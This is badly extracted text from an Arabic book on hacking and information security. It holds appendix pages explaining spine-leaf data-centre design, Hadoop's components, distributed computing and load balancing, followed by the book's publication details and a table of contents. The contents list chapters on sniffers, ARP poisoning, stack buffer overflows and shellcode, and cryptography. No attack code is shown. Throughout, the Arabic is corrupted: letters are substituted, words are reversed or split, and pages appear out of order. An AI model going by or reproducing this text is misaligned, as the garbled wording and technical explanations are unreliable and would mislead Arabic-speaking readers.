‫احلديث‬ ‫التكنولوجيا‬ ‫ظهور‬ ‫مع‬
‫ة‬
‫كال‬ ،
Virtualization
‫وال‬
Distributed Cloud
‫امل‬ ‫بدأ‬
‫ل‬ ‫يتجه‬ ‫سار‬
Pattern
‫من‬ ‫آطر‬
‫ال‬
Traffic
‫ال‬ ‫وذو‬
East-West
.
ً‫ا‬‫أيض‬ ‫عليه‬ ‫ق‬‫ُطل‬‫ن‬‫و‬
“Server-to-Server Traffic”
‫ال‬ ‫وذو‬ ،
Traffic
‫داطل‬ ‫ث‬‫احلاد‬
‫ال‬
Data Center
.‫ذاهتا‬
‫وجود‬ ‫قرضنا‬ ‫قلو‬
Server
‫تصل‬ُ‫م‬
‫بال‬
Access Switch
‫أن‬ ‫ريد‬ُ‫ي‬ ،‫اليسار‬ ‫أقىص‬ ‫يف‬ ‫املوجود‬
‫مع‬ ‫يتواصل‬
Server
ُ‫م‬ ‫آطر‬
‫تص‬
‫ل‬
‫بال‬
Access Switch
‫ذلك؟‬ ‫سيتم‬ ‫قكيف‬ ،‫اليمني‬ ‫بأقىص‬ ‫املوجود‬
‫ال‬ ‫ستقوم‬
Packet
‫ال‬ ‫لىل‬ ‫ألعىل‬ ‫مسار‬ ‫بأطذ‬
Core Routers
‫ال‬ ‫لىل‬ ‫تصل‬ ‫كي‬ ‫أطرى‬ ً‫ة‬‫مر‬ ‫ألسفل‬ ‫م‬َ‫ث‬ ‫ومن‬
Switch
.!‫اليمني‬ ‫أقىص‬ ‫يف‬ ‫اآلطر‬
‫ال‬ ‫من‬ ‫ملزيد‬ ‫يؤدي‬ ‫وذذا‬
Latency
‫لل‬ ‫وذدر‬
Bandwidth
.!‫بالشبكة‬
‫اإللكتروني‬‫القرصنة‬
‫ة‬
‫المعلوما‬‫وأمن‬
‫ت‬
Understanding Hacking and Information Security
[440]
‫وجود‬ ‫فرض‬‫وب‬
Cluster of Servers
‫ال‬ ‫من‬ ‫مئات‬ ‫عن‬ ‫نا‬ُ‫ذ‬ ‫(نتكلم‬
Servers
‫بعمل‬ ‫تقوم‬ ‫التي‬ )
Calculations in
parallel
‫ال‬ ‫استخدام‬ ‫حالة‬ ‫يف‬ ‫كام‬
Apache Hadoop
‫ال‬ ‫يف‬ ‫نقص‬ ‫أي‬ ً‫ا‬‫هنائي‬ ‫الشبكة‬ ‫تتحمل‬ ‫قلن‬ ،‫املثال‬ ‫سبيل‬ ‫عىل‬
Bandwidth
‫ال‬ ‫يف‬ ‫أو‬
Latency
‫ال‬ ‫ألن‬ ‫وذذا‬ .
Servers
‫ل‬ ُ
‫تواص‬ ‫لعمليات‬ ‫ستحتاج‬ ‫نا‬ُ‫ذ‬
‫ال‬ ‫داطل‬ ‫بينها‬ ‫قيام‬ ‫ف‬‫كث‬ُ‫م‬
Cluster
.!
‫ال‬ ‫باستخدام‬ ‫األمر‬ ‫ذذا‬ ‫لتطبيق‬ ‫جئنا‬ ‫قإذا‬
Traditional Model
‫ال‬ ‫وذو‬
Three-tier Architecture
،
‫ال‬ ‫لضياع‬ ‫ُؤدي‬‫ن‬ ‫ِبذا‬ ‫قنكون‬
Business
.‫ل‬َ‫م‬َ‫ع‬‫ال‬ ‫ذذا‬ ‫وراء‬ ‫من‬ ‫املرجو‬
‫ال‬ ‫لىل‬ ‫اإلنتقال‬
“Spine-Leaf Architecture”
‫اإللكتروني‬‫القرصنة‬
‫ة‬
‫المعلوما‬‫وأمن‬
‫ت‬
Understanding Hacking and Information Security
[441]
‫ال‬ ‫ذذا‬ ‫يتكون‬
Architecture
:‫ييل‬ ‫كام‬ ‫م‬ُ‫ذ‬ ، ّ
‫ني‬َ‫ي‬‫أساس‬ ‫جزئني‬ ‫من‬
“Spine Switches, and Leaf Switches”
‫ال‬ ‫ذذه‬
Spine Switches
‫ال‬ ‫طبقة‬ ‫اعتبارذا‬ ‫ن‬‫مك‬ُ‫ي‬
Core
‫قال‬ ،
Spine
‫عن‬ ‫عبارة‬
:
High-Throughput Layer 3 Switch
‫ال‬ ‫طبقة‬ ‫ر‬َ‫َصو‬‫ت‬ ‫ُنا‬‫ن‬‫مك‬ُ‫ي‬ ‫ل‬‫قاب‬ُ‫مل‬‫ا‬ ‫ويف‬
Leaf
‫ال‬ ‫أهنا‬ ‫عىل‬
Access Layer
،
‫ُع‬‫ت‬ َ‫قهي‬
‫ال‬ ‫ثابة‬َ‫بم‬ ‫َرب‬‫ت‬
(Connection Points)
‫لل‬
Servers
‫ال‬ ‫متتلك‬ ‫أهنا‬ ‫كام‬ ،
Uplinks
‫ال‬ ‫لىل‬
Spine Switches
.
ً‫ا‬‫واضح‬ ‫يبدو‬
‫ال‬ ‫ذذا‬ ‫من‬
Architecture
‫كل‬ ‫أن‬
Leaf Switch
‫ال‬ ‫بجميع‬ ‫ل‬‫َص‬‫ت‬ُ‫م‬
Spine Switches
.
“Every Leaf switch is connected to every Spine switch”
‫يعني‬ ‫ماذا‬ ‫ولكن‬
‫ذذا؟‬
‫ألي‬ ‫أنه‬ ‫يعني‬ ‫ذذا‬
Server
‫أي‬ ‫مع‬ ‫التواصل‬ ‫يود‬
Server
‫ال‬ ‫لىل‬ ‫بالصعود‬ ‫سيقوم‬ ،!ً‫ا‬‫وواضح‬ ً‫ا‬‫ثابت‬ ً‫ا‬‫مسار‬ ‫ك‬ُ‫ل‬‫س‬َ‫ي‬ َ
‫س‬ ،‫آطر‬
Spine
‫ال‬ ‫لىل‬ ‫النزول‬ ‫م‬ُ‫ث‬
Leaf
‫ال‬ ‫ِبذا‬ ‫املوصول‬
Server
.
‫ال‬ ‫ذلك‬ ‫من‬ ‫ستثنى‬ُ‫ي‬(
Servers
‫ال‬ ‫َفس‬‫ن‬‫ب‬ ‫لة‬‫تص‬ُ‫مل‬‫ا‬
Leaf Switch
‫ع‬ ُ
‫الص‬ ‫لىل‬ ‫حاجة‬‫ب‬ ‫تكون‬ ‫لن‬ ُ
‫حيث‬
‫ال‬ ‫لىل‬ ‫ود‬
Spine
.)‫حينها‬
‫ال‬ ‫ذذا‬
Architecture
‫ال‬ ‫حالة‬ ‫يف‬ ‫عالية‬ ‫بكفاءة‬ ‫يعمل‬
“East-West Traffic Pattern”
‫ال‬ ‫كامل‬ ‫بتفعيل‬ ‫لقيامه‬
Network Resources
‫ال‬ ‫يف‬ ‫احلادث‬ ‫اهلدر‬ ‫وتاليف‬
Bandwidth
.
‫اإللكتروني‬‫القرصنة‬
‫ة‬
‫المعلوما‬‫وأمن‬
‫ت‬
Understanding Hacking and Information Security
[442]
Appendix (C)
‫عن‬ ‫عبارة‬ ‫ذو‬
"
Open-Source Software Framework
"
‫بتطويره‬ ‫قامت‬
Apache Foundation
.
‫ال‬ ‫يستطيع‬
Hadoop
‫عمل‬
Processing
‫حث‬َ‫ب‬‫ال‬ ‫ك‬ ِّ‫ر‬ ُ
‫حم‬ ‫بيانات‬ ‫بقواعد‬ ‫اخلاصة‬ َ
‫لك‬‫كت‬ ‫البيانات‬ ‫من‬ ‫الضخمة‬ ‫لألحجام‬
‫الشهري‬
Google
‫ال‬ ‫ببيانات‬ ‫أو‬ ،
Applications
‫ال‬ ‫يقوم‬ .‫كالفيسبوك‬ ‫الكبرية‬
Hadoop
‫البيانات‬ ‫ذذه‬ ‫وتوزيع‬ ‫عاجلة‬ُ‫بم‬
‫ال‬ ‫عىل‬ ‫العمالقة‬
Hardware
‫باست‬
‫ال‬ ‫تكنولوجيا‬ ‫خدام‬
Distributed Computing
.
‫ال‬ ‫ماذذا‬
Distributed Computing
‫؟‬..
Distributed computing is a model in which components of a software system are shared among
multiple computers to improve efficiency and performance.
‫تشغيل‬ ‫عملية‬ ‫عن‬ ِّ
‫عرب‬ُ‫ي‬ ‫لنه‬
Application
‫أو‬
System
‫ذذه‬ ،!‫واحد‬ ‫جهاز‬ ‫من‬ ً‫ال‬‫بد‬ ‫األجهزة‬ ‫من‬ ‫جمموعة‬ ‫عىل‬ ،‫ما‬
‫ى‬‫ُسم‬‫ت‬ ‫األجهزة‬
Nodes
..
‫ال‬ ‫ذذه‬
Nodes
‫شبكة‬ ‫داطل‬ ‫ببعضها‬ ‫رتبطة‬ُ‫م‬ ‫تكون‬
..
‫رتاص‬ُ‫مل‬‫ا‬ ‫األجهزة‬ ‫من‬ ‫الشبكة‬ ‫ذذه‬
‫ة‬
‫يها‬ِّ‫ُسم‬‫ن‬
Cluster
..
‫ال‬ ‫ذذا‬
Cluster
‫ُسميه‬‫ن‬
“Cluster Computing”
‫حملية‬ ‫الشبكة‬ ‫كانت‬ ‫لذا‬
(LAN)
،
‫عليه‬ ‫ق‬‫ُطل‬‫ن‬‫و‬
“Grid Computing”
‫ال‬ ‫كان‬ ‫لذا‬ ‫حالة‬ ‫يف‬
Distributed Computing
‫ع‬‫وز‬ُ‫م‬
‫ال‬ ‫عىل‬
(WAN)
.
‫ال‬ ‫مبدأ‬ ً‫ا‬‫أيض‬ ‫نستخدم‬
Distributed Computing
‫ال‬ ‫يف‬
Computational Problems
‫قيتم‬ ،!‫استيعاِبا‬ ‫وحيد‬ ‫جلهاز‬ ‫مكن‬ُ‫ي‬ ‫ال‬ ‫والتي‬ ،‫الكبرية‬
‫ال‬ ‫ذذه‬ ‫تقسيم‬
Process
‫ال‬ ‫أو‬
Problem
‫ال‬ ‫من‬ ‫جمموعة‬ ‫لىل‬
Tasks
‫ال‬ ‫من‬ ‫جمموعة‬ ‫عىل‬ ‫توزيعها‬ ‫يتم‬ ،‫املهام‬ ‫أو‬
Nodes
،
‫ال‬ ‫ذذه‬
Nodes
.‫بالشكل‬ ‫يظهر‬ ‫كام‬ ‫البعض‬ ‫بعضها‬ ‫مع‬ ‫للتواصل‬ ‫القابلية‬ ‫لدهيا‬
‫اإللكتروني‬‫القرصنة‬
‫ة‬
‫المعلوما‬‫وأمن‬
‫ت‬
Understanding Hacking and Information Security
[443]
‫باستخدام‬ ‫يتم‬ ‫التواصل‬ ‫ذذا‬
‫تكنيك‬
‫ى‬‫سم‬ُ‫ي‬
“Message Passing”
.
.
‫ال‬ ‫ذذا‬
Message Passing
‫ال‬ ‫تطبيقات‬ ‫من‬ ‫العديد‬ ‫يف‬ ‫ستخدم‬ُ‫ي‬
‫احلديث‬ ‫كمبيوتر‬
‫ة‬
‫لل‬ ‫تيح‬ُ‫ي‬ ُ
‫حيث‬
Objects
‫ن‬ِّ‫كو‬ُ‫مل‬‫ا‬
‫ة‬
‫ال‬ ‫هلذا‬
Software
‫ال‬ ‫عىل‬ ‫عة‬‫واملوز‬
Nodes
‫األسلوب‬ ‫عن‬ ً‫ا‬‫عوض‬ ،‫وِسيع‬ ‫ذكي‬ ‫بأسلوب‬ ‫بعضها‬ ‫مع‬ ‫التواصل‬ ‫بإمكانية‬
‫ث‬ُ‫حيد‬ ‫بأن‬ ‫التقليدي‬
Call
‫لل‬
Program
‫الطويل‬ ‫األسهم‬ ‫ل‬ِّ‫ث‬َ ُ‫مت‬ .!‫بإسمه‬
‫ة‬
‫ال‬ ‫بني‬ ‫تربط‬ ‫التي‬ ً‫ا‬‫نسبي‬
Nodes
‫اجله‬ ‫يف‬
‫ة‬
‫ال‬ ‫عملية‬ ‫ُسى‬ُ‫ي‬‫ال‬
Message Passing
‫بينه‬
‫م‬
.

‫ال‬ ‫وذو‬ ،‫البسيط‬ ‫النظام‬ ‫اليمني‬ ‫عىل‬ ‫يظهر‬
Parallel Computing
،
‫وجود‬ ‫ظ‬‫ُالح‬‫ن‬
Shared Memory
‫ِبا‬ ‫يتشارك‬
‫عاجلات‬ُ‫مل‬‫ا‬ ‫من‬ ‫جمموعة‬
Multiprocessor
.

‫أنه‬ ‫يبدو‬ ‫اليسار‬ ‫عىل‬ ‫بينام‬
Distributed Memory System
‫بك‬ ‫حيط‬ُ‫مل‬‫ا‬ ‫اإلطار‬ ‫شري‬ُ‫ي‬‫و‬ ،
‫ل‬
Node
،!‫ستقل‬ُ‫م‬ ‫جهاز‬ ‫أنه‬ ‫لىل‬
‫بال‬ ‫يه‬ِّ‫ُسم‬‫ن‬ ‫ما‬ ‫وذذا‬
Multicomputer
.
‫اإللكتروني‬‫القرصنة‬
‫ة‬
‫المعلوما‬‫وأمن‬
‫ت‬
Understanding Hacking and Information Security
[444]
‫ال‬ ‫لىل‬ ‫نعود‬‫ل‬
Hadoop
.‫جديد‬ ‫من‬
‫ال‬ ‫أن‬ ‫لنا‬ُ‫ق‬
Hadoop
‫ال‬ ‫بتقسيم‬ ‫يقوم‬
Big Data
‫لىل‬
Blocks
.
‫ال‬ ‫ذذه‬
Blocks
‫ال‬ ‫عىل‬ ‫عة‬‫وز‬ُ‫مل‬‫ا‬ ‫األجهزة‬ ‫يف‬ ‫ختزينها‬ ‫يتم‬
Clusters
‫ال‬ ‫عدد‬ ‫وبزيادة‬ .
Nodes
‫معاجل‬ ‫ِسعة‬ ‫تزيد‬ ،
‫ال‬ ‫ذذه‬ ‫ة‬
Big Data
،
‫أحد‬ ‫يف‬ ‫ف‬َ‫ل‬َ‫ت‬ ‫أو‬ ‫طلل‬ ‫حدوث‬ ‫عند‬ ً‫ا‬‫أيض‬
‫ال‬
Nodes
‫ال‬ ‫ر‬‫يتأث‬ ‫لن‬ ،
Application
‫ال‬ ‫أو‬
Data
‫األوتو‬ ‫النقل‬ ‫عملية‬ ‫بسبب‬
‫م‬
‫اتيكي‬
‫ال‬ ‫هلذا‬
Load
‫أي‬ ‫لىل‬
Node
‫ال‬ ‫يف‬ ‫طرى‬ُ‫أ‬
Cluster
‫حدوث‬ ‫حالة‬ ‫يف‬ ‫اسرتجاعها‬ ‫من‬ ‫يتمكن‬ ‫حتى‬ ‫البيانات‬ ‫من‬ ‫ُسخة‬‫ن‬ ‫من‬ ‫أكثر‬ ‫بعمل‬ ‫يقوم‬ ‫أنه‬ ‫كام‬ .
‫أي‬
‫بال‬ ‫ُسميه‬‫ن‬ ‫ما‬ ‫وذذا‬ ،‫ققد‬
“High Availability”
‫لل‬ ‫يزة‬َ‫م‬ُ‫مل‬‫ا‬ ‫طرى‬ُ‫أل‬‫ا‬ ‫صائص‬َ‫خل‬‫ا‬ َ‫ن‬‫م‬
Computer Cluster
‫ال‬ ‫لية‬َ‫م‬َ‫ع‬‫ل‬ ‫يله‬‫تفع‬
“Load Balancing”
.
‫ال‬ ‫ماذذا‬
“Load Balancing”
..
‫؟‬
:‫له‬ ‫الويكيبيديا‬ ‫تعريف‬ ‫ماييل‬
load balancing improves the distribution of workloads across multiple computing resources, such
as computers, a computer cluster, network links, central processing units, or disk drives. Load
balancing aims to optimize resource use, maximize throughput, minimize response time, and
avoid overload of any single resource.
‫ال‬ ‫ذذا‬
Hadoop Framework
‫يف‬
‫رئيسيني‬ ‫جزئني‬ ‫عن‬ ‫عبارة‬ ‫األساس‬
:
-
‫بال‬ ‫اخلاص‬ ‫وذو‬ ‫األول‬ ‫اجلزء‬
“Storage”
‫عليه‬ ‫ق‬َ‫ل‬‫ط‬ُ‫ي‬‫و‬ ،‫التخزين‬ ‫أو‬
(HDFS)
..‫قليل‬ ‫بعد‬ ‫لليه‬ ‫سنأيت‬ .
-
‫البيانات‬ ‫عاجلة‬ُ‫بم‬ ‫َص‬‫ت‬‫خ‬ُ‫مل‬‫ا‬ ‫ذو‬ ‫الثاين‬ ‫واجلزء‬
“Processing”
‫ى‬‫سم‬ُ‫ي‬‫و‬
(MapReduce)
.
‫ذذ‬ ‫وظيفة‬ ‫سنوضح‬
‫ال‬ ‫ه‬
Core Modules
‫ن‬ِّ‫كو‬ُ‫مل‬‫ا‬
‫ة‬
‫لل‬
Hadoop
.
‫اإللكتروني‬‫القرصنة‬
‫ة‬
‫المعلوما‬‫وأمن‬
‫ت‬
Understanding Hacking and Information Security
[445]
Hadoop Common
‫ال‬ ‫عىل‬ ‫حيتوي‬ ‫اجلزء‬ ‫ذذا‬
Libraries
‫وال‬
Utilities
‫ال‬ ‫بقية‬ ‫ستحتاجها‬ ‫التي‬
Modules
.
Hadoop Distributed File System (HDFS)
‫ال‬ ‫ذذا‬
Module
‫عن‬ ‫عبارة‬
System
‫ال‬ ‫غة‬ُ‫ل‬‫ب‬ ‫ج‬َ‫م‬ َ
‫رب‬ُ‫م‬
Java
‫ال‬ ‫ذذا‬ ،
System
‫بال‬ ‫يتميز‬
Scalability
‫بعملية‬ ‫سيقوم‬ ‫ألنه‬
‫ال‬ ‫ختزين‬
Big Data
‫األجهزة‬ ‫من‬ ‫العديد‬ ‫عىل‬
(Across multiple machines)
‫بشكل‬ ‫سيكون‬ ‫التخزين‬ ‫ذذا‬ .
‫عمل‬ ‫يتم‬ ‫لن‬ ‫أنه‬ ‫أي‬ ،‫عشوائي‬
Organize
‫ال‬ ‫هلذه‬
Data
.!‫اإلجراء‬ ‫ذذا‬ ‫قبل‬
Hadoop MapReduce
‫عن‬ ‫عبارة‬ ‫اجلزء‬ ‫ذذا‬
Programming Model
‫األصل‬ ‫يف‬ ‫ذو‬ ،
Software
‫عمل‬ ‫يف‬ ‫وظيفته‬ ‫تتلخص‬ ..
Processing
‫ال‬ َ‫ن‬‫م‬ ‫ة‬َ‫خم‬ َ
‫ض‬ ‫كميات‬‫ل‬
Data
.
Hadoop YARN
‫عن‬ ‫عبارة‬ ‫ذذه‬
Platform
‫بعمل‬ ‫تقوم‬
Management
‫لل‬
Resources
‫ال‬ ‫ذذه‬ ،
Resources
‫ال‬ ‫ذي‬
Computing
‫ال‬ ‫من‬ ‫كبري‬ ‫َم‬‫ك‬ ‫أمام‬ ‫أننا‬ ‫نعلم‬ ‫كام‬ ،‫بالطبع‬
Nodes
‫ال‬ ‫داطل‬
Cluster
‫بحاج‬ ‫نحن‬ ‫وبالتايل‬
‫ة‬
‫إلدا‬
‫ال‬ ‫ذذه‬ ‫رة‬
Resources
.
‫كانت‬
‫األساسي‬ ‫كونات‬ُ‫مل‬‫ا‬ ‫ذي‬ ‫ذذه‬
‫ة‬
‫لل‬
Apache Hadoop
‫عليها‬ ‫ق‬َ‫ل‬‫ط‬ُ‫ي‬‫و‬ ،
“Base Modules”
.
‫اإللكتروني‬‫القرصنة‬
‫ة‬
‫المعلوما‬‫وأمن‬
‫ت‬
Understanding Hacking and Information Security
[446]

القرصنة الإلكترونية وأمن المعلومات

  • 1.
  • 2.
  • 3.
    [3]  ‫املشد‬ ‫أمحد‬ ::‫املؤلف‬ ‫اسم‬  ‫املعلومات‬ ‫وأمن‬ ‫اإللكرتونية‬ ‫القرصنة‬ :: ‫الكتاب‬ ‫اسم‬  ‫والتوزيع‬ ‫للنرش‬ ‫العربية‬ ‫األمة‬ ‫مؤسسة‬ :: ‫النارش‬  :: ‫القانوين‬ ‫اإليداع‬ ‫رقم‬ 2017 / 26244  :: ‫الدويل‬ ‫الرقم‬ 978 / 977 / 783 / 405 / 6  ‫العربية‬ ‫مرص‬ ‫جهورية‬ :: ‫النرش‬ ‫دولة‬  :: ‫النرش‬ ‫سنة‬ 2017  ‫األوىل‬ ‫الطبعة‬ :: ‫الطبعة‬ ‫رقم‬ ‫حتذير‬ || ‫نرش‬ ‫بإعادة‬ ‫يسمح‬ ‫وال‬ ‫للمؤلف‬ ‫حمفوظة‬ ‫احلقوق‬ ‫مجيع‬ ‫م‬ ‫ططية‬ ‫بمواققة‬ ‫لال‬ ‫الكتاب‬ ‫ذذا‬ ‫نه‬ .
  • 4.
    [4] ‫الكتاب‬ ‫ذذا‬ ‫يف‬‫ستتعلم‬ :‫ماييل‬  ‫ال‬ ‫بلغة‬ ‫الربجمه‬ C ، ‫األكواد‬ ‫وحتليل‬ ‫وقهم‬ .‫الربجمية‬  ‫شبكات‬ ‫احلاسب‬ ‫ال‬ ‫برجمة‬ ‫وكيفية‬ ، Sockets .‫األنظمه‬ ‫بني‬ ‫اإلتصاالت‬ ‫ولنشاء‬ ،  ‫واستغالهلا‬ ‫األنظمه‬ ‫يف‬ ‫ثغرات‬ ‫لجياد‬ ‫طريق‬ ‫عن‬ ‫ال‬ ‫ذجامت‬ Buffer Overflows .  ‫ال‬ ‫استخدام‬ Debuggers ‫ال‬ ‫لفحص‬ Processor Registers ‫وال‬ System Memory .  ‫كيف‬ ‫احلاميه‬ ‫آليات‬ ‫عىل‬ ‫ل‬ُ‫ي‬‫التحا‬ ‫ية‬ ‫اخلاصة‬ ‫ب‬ ‫أنظم‬ ‫ال‬ ‫صالحيات‬ ‫عىل‬ ‫واحلصول‬ ،‫التشغيل‬ ‫ة‬ system ‫ال‬ ‫أو‬ root .‫البعيدة‬ ‫األنظمه‬ ‫عىل‬  ‫وحتليلها‬ ،‫التشفري‬ ‫وأنظمة‬ ‫طوارزميات‬ ، ‫و‬ ‫تطبيقاهتا‬ ‫قهم‬ ‫ه‬َ‫د‬ِّ‫َعد‬‫ت‬ُ‫مل‬‫ا‬ . ‫األول‬ ‫الباب‬ ‫يف‬ ‫نقوم‬ ‫ب‬ ‫م‬ُّ‫ل‬َ‫ع‬َ‫ت‬ ،‫الربجميه‬ ‫األكواد‬ ‫تابة‬‫وك‬ ‫قراءة‬ ‫و‬ ‫دراسة‬ ‫التشغيل‬ ‫أنظمة‬ ‫الربامج‬ ‫مع‬ ‫تعاطيها‬ ‫ق‬ ُ‫ر‬ُ‫ط‬‫و‬ ، ُ ‫حيث‬ ‫د‬َ‫ع‬ُ‫ت‬ ‫ل‬ ‫األساس‬ ‫بقية‬ .‫األبواب‬ ‫ل‬ ،‫الشبكات‬ ‫عامل‬ ‫لىل‬ ‫ننتقل‬ ‫الثاين‬ ‫الباب‬ ‫يف‬ َ‫ن‬ ‫تعر‬ ُ‫ب‬‫و‬ ‫آليات‬ ‫عىل‬ ‫ف‬ ‫من‬ ً‫ا‬‫بدء‬ ،‫األنظمة‬ ‫بني‬ ‫البيانات‬ ‫انتقال‬ ‫وكيفية‬ ،‫الشبكات‬ ‫روتوكوالت‬ ‫ال‬ Application Layer ‫بال‬ ً‫ء‬‫وانتها‬ Physical Layer ‫س‬ . ‫ن‬ ‫ت‬ ‫علم‬ ‫الباب‬ ‫ذذا‬ ‫يف‬ ‫ف‬ِّ‫ظ‬‫ُو‬‫ن‬ ‫كيف‬ ‫ال‬ Sockets َ‫د‬‫و‬ ‫وا‬ ‫ل‬ ‫الشبكات‬ ‫يف‬ ‫قنوات‬ ‫لنشاء‬ ‫األنظمه‬ ‫بني‬ ‫اإلتصال‬ . ،‫األنظمه‬ ‫وتأمني‬ ‫اإلطرتاق‬ ‫عمليات‬ ‫عىل‬ ‫الضوء‬ ‫بتسليط‬ ‫نقوم‬ ‫الثالث‬ ‫الباب‬ ‫يف‬ ،‫الشبكات‬ ‫بيئة‬ ‫يف‬ ‫أكثر‬ ‫والتعمق‬ ‫أنواع‬ ‫عض‬َ‫ب‬‫ل‬ ‫ليل‬ َ ‫وحت‬ ‫ال‬ ‫باستخدام‬ ‫امت‬َ‫ج‬َ‫اهل‬ Debuggers .‫عميل‬ ‫اطرتاق‬ ‫اطتبار‬ ‫بإجراء‬ ‫ونختم‬ ، ‫الر‬ ‫الباب‬ ‫يف‬ ،ً‫ا‬‫وأطري‬ ‫عض‬َ‫ب‬‫ل‬ ‫راسه‬‫د‬ ‫ع‬َ‫م‬ ،‫التشفري‬ ‫طوارزميات‬ ‫باستخدام‬ ‫األمان‬ ‫حتقيق‬ ‫آلليات‬ ‫ض‬‫َعر‬‫ت‬َ‫ن‬‫ل‬ ،‫البيانات‬ ‫تشفري‬ ‫علوم‬ ‫لىل‬ ‫ننتقل‬ ‫ابع‬ ‫انتقاهل‬ ‫أثناء‬ ‫يانات‬َ‫ب‬‫ال‬ ‫المة‬ َ ‫وس‬ ،‫صوصية‬ُ‫خل‬‫وا‬ ،‫وثوقية‬َ‫مل‬‫ا‬ ‫توقري‬‫ل‬ ‫ة‬َ‫م‬َ‫َخد‬‫ت‬‫س‬ُ‫مل‬‫ا‬ ‫لة‬‫تكام‬ُ‫مل‬‫ا‬ ‫ة‬َ‫م‬‫األنظ‬ ‫آل‬ ‫كان‬َ‫م‬ ‫ن‬‫م‬ ‫ا‬ .‫طر‬
  • 5.
    [5] Table of Content I-Programming 1. Introduction...……………………………………………………………………… 13 2. If-Then-Else...…………………………………………………………………....... 17 3. While Loop...………………………………………………………………………. 18 4. For loop……………………………………………………………………………. 19 5. Variables…………………………………………………….................................... 20 6. Arithmetic Operators………………………………………………………………. 22 7. Comparison Operator……………………………………….................................... 24 8. Functions…………………………………………………………………………... 26 9. x86 processor ……………………………………………………………………… 31 10. Arrays…………………………………………………………………………….... 38 11. Signed, Unsigned………………………………………………………………...... 40 12. Pointers………………………………………………………….............................. 41 13. Format Strings……………………………………………………………………... 45 14. Typecasting………………………………………………………………………... 50 15. command-Line Arguments……………….………………….................................. 55 16. Variable Scoping…………………………………………………………………... 56 17. Memory Segmentation…………………………………………………………...... 62 18. The Heap…………………………………………………………………………... 66 19. Void Pointers…………………………………………………................................. 71 20. File Access……………………………………………………................................ 77 21. File Permissions………………………………………………................................ 85 22. User IDs………………………………………………………................................ 87 23. Structs……………………………………………………………………………… 91 24. Function Pointers………………………………………………………………...... 97 II- Networking 1. Introduction...……………………………………………………………………….. 105 2. The OSI Model...……………………………………………………………………. 107 3. The Socket...………………………………………………………………………… 116
  • 6.
    [6] 4. Socket Functions…………………………………………………………………….121 5. Socket Address……………………………………………….................................... 124 6. Big-Endian Byte Ordering………………………………………………………….. 128 7. Conversion between IP and 32-Bit……………………….......................................... 130 8. Error.h Lib…………………………………………………………………………... 132 9. Some Definitions……………………………………………………………………. 137 10. Server Example……………………………………………………………………... 138 11. The Browser……………………………………………………………………….... 148 12. The Big Picture…………………………………………………................................ 151 13. Layer 2 (Data-Link)…………………………………………………………………. 152 14. …Optaining an address…………….….……………………………………………. 153 15. …ARP Messages……………………………………………………………………. 155 16. …Sending packet outside the domain………………………………………………. 157 17. Layer 3 (Network)…………………………………………………………………... 158 18. …IP Header………..………………………………………………………………... 158 19. …IP Fragmentation..………………………………………………………………... 161 20. Layer 4 (Transport)……………….………………………….................................... 163 21. …Multiplexing & Demultiplexing………...………………………………………... 163 22. …TCP Header……..………………………………………………………………... 165 23. …TCP Three-way Handshake…..…………………………………………………... 168 III- Security & Attacks 1. Introduction...……………………………………………………………………….. 175 2. Computer Security...………………………………………………………………… 177 3. The Rings...…………………………………………………………………………. 178 4. Operational States…………………………………………………………………… 180 5. Technical Mechanisms……………………………………….................................... 182 6. …Layering, Abstraction, Data Hiding, and Process Isolation……………………… 182 7. Network Sniffing……………………………………………………………………. 186 8. Building our Sniffer………………………................................................................. 188 9. Libpcap Sniffer……………………………………………………………………… 191 10. Layer Analysis………………………………………………………………………. 197 11. …Ethernet Header…………………………………………………………………... 197 12. …IP Header……..…………………………………………………………………... 200 13. …TCP Header…..…………………………………………………………………... 202 14. The Decoder Sniffer………………………………………………………………… 205
  • 7.
    [7] 15. …The Conclusion…………………………………………………………………....224 16. ARP Poisoning Attack....….……………………………………………………........ 225 17. …Inside Nemesis Tool……………………………………………………………... 229 18. Buffer Overflow……………………………………………….................................. 243 19. The Stack……………………………………………………………………………. 247 20. Stack Overflow……………………………………………………………………… 253 21. Putting Things all Together…………………………………………………………. 265 22. …Preparing and Sending our Buffer………………………………………………... 266 23. …Binary Tree Analysis……………………………………………………………... 269 24. …Locating Space for our Shellcode………………………………………………... 274 25. …Redirecting Execution Flow……………………………………………………… 277 26. …Getting the Shell…………………………………………………………………. 279 27. Protection Mechanisms………….…………………………...................................... 283 IV- Cryptography 1. Introduction...……………………………………………………………………….. 291 2. Cryptography...……………………………………………………………………… 295 3. …Substitution...……………………………………………………………………... 298 4. …Transposition……………………………………………………………………... 300 5. Symmetric Cryptography…………………………………........................................ 301 6. …Stream Ciphers…………………………………………………………………… 304 7. …Block Ciphers………………………...................................................................... 307 8. …AES Cryptosystem……………………………………………………………….. 309 9. ……Encryption Process…………………………………………………………….. 312 10. ………SubBytes…..……..………………………………………………………….. 314 11. ………ShiftRows………..………………………………………………………….. 318 12. ………MixColumns……..………………………………………………………….. 319 13. ………AddRoundKey…...………………………………………………………….. 320 14. ……Key Schedule…………………………………………………………………... 322 15. Asymmetric Cryptography…………………………………………………….......... 332 16. …Goals of Cryptography…………………………………………………………… 334 17. ……Confidentiality..………………………………………………………………... 334 18. ……Integrity………………………………………………………………………... 335 19. ……Authentication..………………………………………………………………... 336 20. ……Nonrepudiatin…...……………………………………………………………... 338 21. …RSA………………………………………………................................................. 341
  • 8.
    [8] 22. ……RSA Algorithm…………………………………………………………………344 23. Cryptographic Hash Functions……………………………………………………… 356 24. …Message Authentication………………………………………………………….. 358 25. …Confidentiality, Authentication, and Signature....................................................... 366 26. …Message Authentication Code (MAC)…………………………………………… 370 27. …Digital Signature…………………………………………………………………. 373 28. ……Digital Signature Standard (DSS)……………………………………………... 377 29. Key Distribution…………………………………………………….......................... 380 30. …Using Symmetric Key Encryption…………………………………….................. 381 31. …Using Asymmetric Key Distribution…………………………………................... 384 32. Distribution of Public Keys…………………………………………………………. 386 33. …Using Public-Key Authority…………………………………................................ 386 34. …Using Public-Key Certificate.....……………………………................................. 388 35. Inside Secure Socket Layer (SSL)…………………………………………………... 391 36. Perfect Forward Secrecy (PFS)…..……………………………................................. 407 37. Success Algorithms……………………………………………................................. 418 38. References…………………………………………………………………………... 424 39. Appendixes.……………………………………………………................................. 425
  • 9.
